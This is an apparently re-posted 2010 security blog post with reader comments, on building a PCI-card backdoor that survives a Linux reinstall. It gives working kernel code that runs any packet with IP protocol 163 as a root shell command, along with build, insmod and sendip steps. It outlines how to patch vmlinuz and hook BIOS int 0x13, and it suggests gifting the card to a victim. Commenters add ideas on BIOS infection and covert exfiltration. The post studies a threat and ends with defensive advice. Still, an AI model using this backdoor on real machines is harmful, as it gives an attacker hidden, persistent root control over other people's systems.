31/10/10

Hosting backdoors in hardware

Posted in security on October 27th, 2010 by rwbarton – 12 Comments

Have you ever had a machine get compromised? What did you do? Did you run rootkit checkers and reboot? Did you restore from backups or wipe and reinstall the machines, to remove any potential backdoors?

In some cases, that may not be enough. In this blog post, we’re going to describe how we can gain full control of someone’s machine by giving them a piece of hardware which they install into their computer. The backdoor won’t leave any trace on the disk, so it won’t be eliminated even if the operating system is reinstalled. It’s important to note that our ability to do this does not depend on exploiting any bugs in the operating system or other software; our hardware-based backdoor would work even if all the software on the system worked perfectly as designed.

I’ll let you figure out the social engineering side of getting the hardware installed (birthday “present”?), and instead focus on some of the technical details involved.

Our goal is to produce a PCI card which, when present in a machine running Linux, modifies the kernel so that we can control the machine remotely over the Internet. We’re going to make the simplifying assumption that we have a virtual machine which is a replica of the actual target machine. In particular, we know the architecture and exact kernel version of the target machine. Our proof-of-concept code will be written to only work on this specific kernel version, but it’s mainly just a matter of engineering effort to support a wide range of kernels.

Modifying the kernel with a kernel module
The easiest way to modify the behavior of our kernel is by loading a kernel module. Let’s start by writing a module that will allow us to remotely control a machine.

IP packets have a field called the protocol number, which is how systems distinguish between TCP and UDP and other protocols. We’re going to pick an unused protocol number, say, 163, and have our module listen for packets with that protocol number. When we receive one, we’ll execute its data payload in a shell running as root. This will give us complete remote control of the machine.

The Linux kernel has a global table inet_protos consisting of a struct net_protocol * for each protocol number. The important field for our purposes is handler, a pointer to a function which takes a single argument of type struct sk_buff *. Whenever the Linux kernel receives an IP packet, it looks up the entry in inet_protos corresponding to the protocol number of the packet, and if the entry is not NULL, it passes the packet to the handler function. The struct sk_buff type is quite complicated, but the only field we care about is the data field, which is a pointer to the beginning of the payload of the packet (everything after the IP header). We want to pass the payload as commands to a shell running with root privileges. We can create a user-mode process running as root using the call_usermodehelper function, so our handler looks like this:
int exec_packet(struct sk_buff *skb)
{
char *argv[4] = {"/bin/sh", "-c", skb->data, NULL};
char *envp[1] = {NULL};

call_usermodehelper("/bin/sh", argv, envp, UMH_NO_WAIT);

kfree_skb(skb);
return 0;
}

We also have to define a struct net_protocol which points to our packet handler, and register it when our module is loaded:
const struct net_protocol proto163_protocol = {
.handler = exec_packet,
.no_policy = 1,
.netns_ok = 1
};

int init_module(void)
{
return (inet_add_protocol(&proto163_protocol, 163) < 0);
}

Let’s build and load the module:
rwbarton@target:~$ make
make -C /lib/modules/2.6.32-24-generic/build M=/home/rwbarton modules
make[1]: Entering directory `/usr/src/linux-headers-2.6.32-24-generic'
CC [M] /home/rwbarton/exec163.o
Building modules, stage 2.
MODPOST 1 modules
CC /home/rwbarton/exec163.mod.o
LD [M] /home/rwbarton/exec163.ko
make[1]: Leaving directory `/usr/src/linux-headers-2.6.32-24-generic'
rwbarton@target:~$ sudo insmod exec163.ko
Now we can use sendip (available in the sendip Ubuntu package) to construct and send a packet with protocol number 163 from a second machine (named control) to the target machine:
rwbarton@control:~$ echo -ne 'touch /tmp/x\0' > payload
rwbarton@control:~$ sudo sendip -p ipv4 -is 0 -ip 163 -f payload $targetip
rwbarton@target:~$ ls -l /tmp/x
-rw-r--r-- 1 root root 0 2010-10-12 14:53 /tmp/x
Great! It worked. Note that we have to send a null-terminated string in the payload, because that’s what call_usermodehelper expects to find in argv and we didn’t add a terminator in exec_packet.

Modifying the on-disk kernel
In the previous section we used the module loader to make our changes to the running kernel. Our next goal is to make these changes by altering the kernel on the disk. This is basically an application of ordinary binary patching techniques, so we’re just going to give a high-level overview of what needs to be done.

The kernel lives in the /boot directory; on my test system, it’s called /boot/vmlinuz-2.6.32-24-generic. This file actually contains a compressed version of the kernel, along with the code which decompresses it and then jumps to the start. We’re going to modify this code to make a few changes to the decompressed image before executing it, which have the same effect as loading our kernel module did in the previous section.

When we used the kernel module loader to make our changes to the kernel, the module loader performed three important tasks for us:
1. it allocated kernel memory to store our kernel module, including both code (the exec_packet function) and data (proto163_protocol and the string constants in exec_packet) sections;
2. it performed relocations, so that, for example, exec_packet knows the addresses of the kernel functions it needs to call such as kfree_skb, as well as the addresses of its string constants;
3. it ran our init_module function.
We have to address each of these points in figuring out how to apply our changes without making use of the module loader.

The second and third points are relatively straightforward thanks to our simplifying assumption that we know the exact kernel version on the target system. We can look up the addresses of the kernel functions our module needs to call by hand, and define them as constants in our code. We can also easily patch the kernel’s startup function to install a pointer to our proto163_protocol in inet_protos[163], since we have an exact copy of its code.

The first point is a little tricky. Normally, we would call kmalloc to allocate some memory to store our module’s code and data, but we need to make our changes before the kernel has started running, so the memory allocator won’t be initialized yet. We could try to find some code to patch that runs late enough that it is safe to call kmalloc, but we’d still have to find somewhere to store that extra code.

What we’re going to do is cheat and find some data which isn’t used for anything terribly important, and overwrite it with our own data. In general, it’s hard to be sure what a given chunk of kernel image is used for; even a large chunk of zeros might be part of an important lookup table. However, we can be rather confident that any error messages in the kernel image are not used for anything besides being displayed to the user. We just need to find an error message which is long enough to provide space for our data, and obscure enough that it’s unlikely to ever be triggered. We’ll need well under 180 bytes for our data, so let’s look for strings in the kernel image which are at least that long:
rwbarton@target:~$ strings vmlinux | egrep '^.{180}' | less
One of the output lines is this one:
<4>Attempt to access file with crypto metadata only in the extended attribute region, but eCryptfs was mounted without xattr support enabled. eCryptfs will not treat this like an encrypted file.

This sounds pretty obscure to me, and a Google search doesn’t find any occurrences of this message which aren’t from the kernel source code. So, we’re going to just overwrite it with our data.

Having worked out what changes need to be applied to the decompressed kernel, we can modify the vmlinuz file so that it applies these changes after performing the decompression. Again, we need to find a place to store our added code, and conveniently enough, there are a bunch of strings used as error messages (in case decompression fails). We don’t expect the decompression to fail, because we didn’t modify the compressed image at all. So we’ll overwrite those error messages with code that applies our patches to the decompressed kernel, and modify the code in vmlinuz that decompresses the kernel to jump to our code after doing so. The changes amount to 5 bytes to write that jmp instruction, and about 200 bytes for the code and data that we use to patch the decompressed kernel.

Modifying the kernel during the boot process
Our end goal, however, is not to actually modify the on-disk kernel at all, but to create a piece of hardware which, if present in the target machine when it is booted, will cause our changes to be applied to the kernel. How can we accomplish that?

The PCI specification defines a “expansion ROM” mechanism whereby a PCI card can include a bit of code for the BIOS to execute during the boot procedure. This is intended to give the hardware a chance to initialize itself, but we can also use it for our own purposes. To figure out what code we need to include on our expansion ROM, we need to know a little more about the boot process.

When a machine boots up, the BIOS initializes the hardware, then loads the master boot record from the boot device, generally a hard drive. Disks are traditionally divided into conceptual units called sectors of 512 bytes each. The master boot record is the first sector on the drive. After loading the master boot record into memory, the BIOS jumps to the beginning of the record.

On my test system, the master boot record was installed by GRUB. It contains code to load the rest of the GRUB boot loader, which in turn loads the /boot/vmlinuz-2.6.32-24-generic image from the disk and executes it. GRUB contains a built-in driver which understands the ext4 filesystem layout. However, it relies on the BIOS to actually read data from the disk, in much the same way that a user-level program relies on an operating system to access the hardware. Roughly speaking, when GRUB wants to read some sectors off the disk, it loads the start sector, number of sectors to read, and target address into registers, and then invokes the int 0x13 instruction to raise an interrupt. The CPU has a table of interrupt descriptors, which specify for each interrupt number a function pointer to call when that interrupt is raised. During initialization, the BIOS sets up these function pointers so that, for example, the entry corresponding to interrupt 0x13 points to the BIOS code handling hard drive IO.

Our expansion ROM is run after the BIOS sets up these interrupt descriptors, but before the master boot record is read from the disk. So what we’ll do in the expansion ROM code is overwrite the entry for interrupt 0x13. This is actually a legitimate technique which we would use if we were writing an expansion ROM for some kind of exotic hard drive controller, which a generic BIOS wouldn’t know how to read, so that we could boot off of the exotic hard drive. In our case, though, what we’re going to make the int 0x13 handler do is to call the original interrupt handler, then check whether the data we read matches one of the sectors of /boot/vmlinuz-2.6.32-24-generic that we need to patch. The ext4 filesystem stores files aligned on sector boundaries, so we can easily determine whether we need to patch a sector that’s just been read by inspecting the first few bytes of the sector. Then we return from our custom int 0x13 handler. The code for this handler will be stored on our expansion ROM, and the entry point of our expansion ROM will set up the interrupt descriptor entry to point to it.

In summary, the boot process of the system with our PCI card inserted looks like this:
• The BIOS starts up and performs basic initialization, including setting up the interrupt descriptor table.
• The BIOS runs our expansion ROM code, which hooks the int 0x13 handler so that it will apply our patch to the vmlinuz file when it is read off the disk.
• The BIOS loads the master boot record installed by GRUB, and jumps to it. The master boot record loads the rest of GRUB.
• GRUB reads the vmlinuz file from the disk, but our custom int 0x13 handler applies our patches to the kernel before returning.
• GRUB jumps to the vmlinuz entry point, which decompresses the kernel image. Our modifications to vmlinuz cause it to overwrite a string constant with our exec_packet function and associated data, and also to overwrite the end of the startup code to install a pointer to this data in inet_protos[163].
• The startup code of the decompressed kernel runs and installs our handler in inet_protos[163].
• The kernel continues to boot normally.
We can now control the machine remotely over the Internet by sending it packets with protocol number 163.

One neat thing about this setup is that it’s not so easy to detect that anything unusual has happened. The running Linux system reads from the disk using its own drivers, not BIOS calls via the real-mode interrupt table, so inspecting the on-disk kernel image will correctly show that it is unmodified. For the same reason, if we use our remote control of the machine to install some malicious software which is then detected by the system administrator, the usual procedure of reinstalling the operating system and restoring data from backups will not remove our backdoor, since it is not stored on the disk at all.

What does all this mean in practice? Just like you should not run untrusted software, you should not install hardware provided by untrusted sources. Unless you work for something like a government intelligence agency, though, you shouldn’t realistically worry about installing commodity hardware from reputable vendors. After all, you’re already also trusting the manufacturer of your processor, RAM, etc., as well as your operating system and compiler providers. Of course, most real-world vulnerabilities are due to mistakes and not malice. An attacker can gain control of systems by exploiting bugs in popular operating systems much more easily than by distributing malicious hardware.

Comments (12)

AOrtega says:
October 27, 2010 at 1:07 pm
Great article.
I saw something similar in the paper “Implementing and Detecting a PCI Rootkit” by Heasman (http://www.blackhat.com/presentations/bh-dc-07/Heasman/Paper/bh-dc-07-Heasman-WP.pdf) and “PCI rootkits” by Lopes/Correa (http://www.h2hc.com.br/repositorio/2008/Joao.pdf) If my memory don’t fail me, they used INT 10h as the attack vector.
Finally, we suggested something similar on our own paper “Persistent BIOS Infection” (http://www.phrack.org/issues.html?issue=66&id=7) by using BIOS32 calls directly from the Kernel, but maybe your approach is more simple and effective.
However, I’m not sure if it’s correct to call this “backdoors in hardware”, as you are clearly modifying software or in the best case, firmware.
BTW, patching a gzipped binary like vmlinuz should be non-trivial. Any idea on how to make this simple?

Anonymous says:
October 27, 2010 at 5:00 pm
This is all very good and fine — but how does it deal with customized kernels? Or compressed vmlinux binaries? The kernel’s build system permits at least three kinds of compression already.

Kristian Hermansen says:
October 27, 2010 at 11:02 pm
Cool technique. I was at the first LEET conference in San Francisco where a guy presented a method of doing something similar by disabling protected memory space after the kernel was loaded (no need for BIOS hijacking).
http://www.usenix.org/event/leet08/tech/full_papers/king/king_html/

Atul Sovani says:
October 28, 2010 at 6:26 am
Hi, please excuse if it’s my poor understanding, but I think there is a mismatch between the sample code.
In the sample code given, the handler function is exec_packet(), whereas in struct net_protocol proto163_protocol, the handler is defined to be print_packet(). Shouldn’t that be exec_packet() instead?
Very good and informative article otherwise! Thanks for the great article!

Christian Sciberras says:
October 28, 2010 at 9:50 am
Nice read. Saw this being done with graphics cards. For those still thinking this is fiction, may I remind you about the batch of Seagate (I think?) harddisk infected with MBR virii?
Of course that worked differently.
Either case, think of this, who’s the major hardware manufacturer? The next time your silicon valley guy designs a new processor and tasks some Chinese people to do the manufacturing, how do you know that you’re getting what you think you are?
Oh, and there was the issue of the DoD and US Military using compromised (and/or fake) Cisco routers from cheap “gold” partners.
Indeed, if one does some research one might see how the battlefield in cyberwarfare is actually changing.

Peter da Silva says:
October 28, 2010 at 10:08 am
Next step, patching the firmware of a PCI card to include this hack by flashing it from a running system…

rwbarton says:
October 28, 2010 at 12:40 pm
Hi Atul,
Oops, you’re quite right–print_packet was accidentally left over from an older version of the code. I’ve corrected this mistake.

nerd says:
October 28, 2010 at 3:47 pm
Good explanation. But the difficulties are the huge amount of different Linux OS and different Graphic-cards, isn’t it? You must have a large library of several flashing progs for all of these cards – correct?

Kevin Marquette says:
October 29, 2010 at 12:44 pm
Nice write up. Just because it is hard to pull off today with all the different hardware and versions of Linux, people will find a way to make this easier and better.

Anonymous says:
October 29, 2010 at 3:33 pm
I can think of much better ways to do this off the top of my head. Why not infect the bootblock of the BIOS flash rom? The user can’t normally change this area of flash. An area of the flash chip can be protected from change, so a normal BIOS flash upgrade would not affect it. This area is normally used for bootstrapping, i.e. “QFlash” which can automatically read a bios update from floppy. Only a hardware signal WP can allow flash change. Simply touch a certain pin on the chip, install the spyware, now the system is permanently infected. Same flash chips are used across board vendors, and protection level varies by implementation, but it’s possible even some boards can be infected in pure software and consequently permanently locked down, so only a new flash chip could un-infect it.
See http://www.winbond-usa.com/products/winbond_products/pdfs/Memory/APNMNV07.pdffor a sample datasheet.
I can think of far nastier things too – can’t a rogue card on the PCI bus read any memory? Could you snoop on PCI transactions? What about the ASIC (ie another cpu on the board) that normally controls the overclocking functions etc., even if the CPU isn’t working? As for sending data, don’t use the normal internet – you can easily use Van Eck techniques to reliably send data with just software. What about hiding a bluetooth chip?
Anyone of you can now go off and develop such products – and I’m sure it’s all been done already, and just think a company in business 10 years has developed even the most advanced techniques, somewhere in the world it’s for sale right now. Many security products are advertised publically actually, however some countries have laws against such advertisements in public, so they have to use direct marketing.

Anonymous says:
October 29, 2010 at 3:40 pm
ps all you really need is the ability to read/write memory (and avoid normal memory protection mechanisms). I would make the backdoor the client and the host program can be a full fledged GUI with continual updates for various control functions for all major operating systems. Keyboard data and screengrabs would be two useful utilities based on the simplest of clients. Realtime video would need some high bandwidth, RF based communication however. But remember any tv/flatpanel is easily picked up with Van Eck (in the case of flatpanel, you receive a differntial signal so certain color schemes are more secure than others). Displayport was specifically designed with van eck in mind… and I think HDMI was too. Sphere: Related Content

No hay comentarios: